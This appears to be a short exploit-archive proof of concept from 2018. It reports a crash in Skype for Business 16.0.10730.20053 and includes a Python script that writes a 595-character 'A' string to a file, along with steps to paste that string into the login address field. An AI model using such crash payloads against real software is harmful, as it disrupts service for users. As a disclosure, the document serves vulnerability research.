# Exploit Title: Skype Empresarial Office 365 16.0.10730.20053 - 'DirecciA3n de inicio de sesiA3n' Denial of service (PoC) # Discovery by: Samuel Cruz # Discovery Date; 2018-08-29 # Vendor Homepage: https://www.skype.com/es/business/ # Tested Version: 16.0.10730.20053 # Tested on OS: Windows 10 Pro x64 es/home/ #Steps to produce the crash #1.- Run python code : python SkypeforBusiness_16.0.10730.20053.py #2.- Open SkypeforBusiness.txt and copy context to clipboard #3.- Open Skype for business #4.- Paste clipboard on "DirecciA3n de inicio de sesiA3n" #5.- Iniciar sesiA3n #6.- Crashed buffer = "\x41" * 595 f = open ("SkypeforBusiness.txt", "w") f.write(buffer) f.close()